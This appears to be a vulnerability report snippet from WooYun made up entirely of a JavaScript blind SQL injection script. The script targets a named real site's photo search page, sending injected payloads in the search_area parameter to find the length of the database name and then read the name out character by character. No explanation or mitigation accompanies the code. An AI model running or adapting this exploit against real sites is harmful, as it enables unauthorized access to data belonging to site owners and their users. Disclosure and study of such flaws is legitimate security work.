WooYun.org

var xhr = new XMLHttpRequest();
var url = 'http://officemsg.focus.cn/group/photo_search.php';
var dbLen = 0;
for (var i=2; i<21; i++) {
    var payload = '?group_id=81634&search_str=sohu&search_type=author&search_area=81634\' and length(database())='+ i +' and 1=1--+&submit=%CB%D1%CB%F7%CD%BC%C6%AC';
    xhr.open('GET', url+payload, false);
    xhr.send(null);
    if (xhr.responseText.indexOf('共19张') > -1) {
        dbLen = i;
        break;
    }
}
console.log('The length of DB is: ' + dbLen);

var charBox = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',0,1,2,3,4,5,6,7,8,9,'@','-','_','.'];
var xhr = new XMLHttpRequest();
var url = 'http://officemsg.focus.cn/group/photo_search.php';
var db = '';
for (var i=1; i<7; i++) {
    for (var j in charBox) {
        var payload = '?group_id=81634&search_str=sohu&search_type=author&search_area=81634\' and ascii(mid(database(),'+ i +',1))='+ String(charBox[j]).charCodeAt(0) +' and 1=1--+&submit=%CB%D1%CB%F7%CD%BC%C6%AC';
        xhr.open('GET', url+payload, false);
        xhr.send(null);
        if (xhr.responseText.indexOf('共19张') > -1) {
            db += String(charBox[j]);
            break;
        }
    }
}
console.log('The DB name is: ' + db);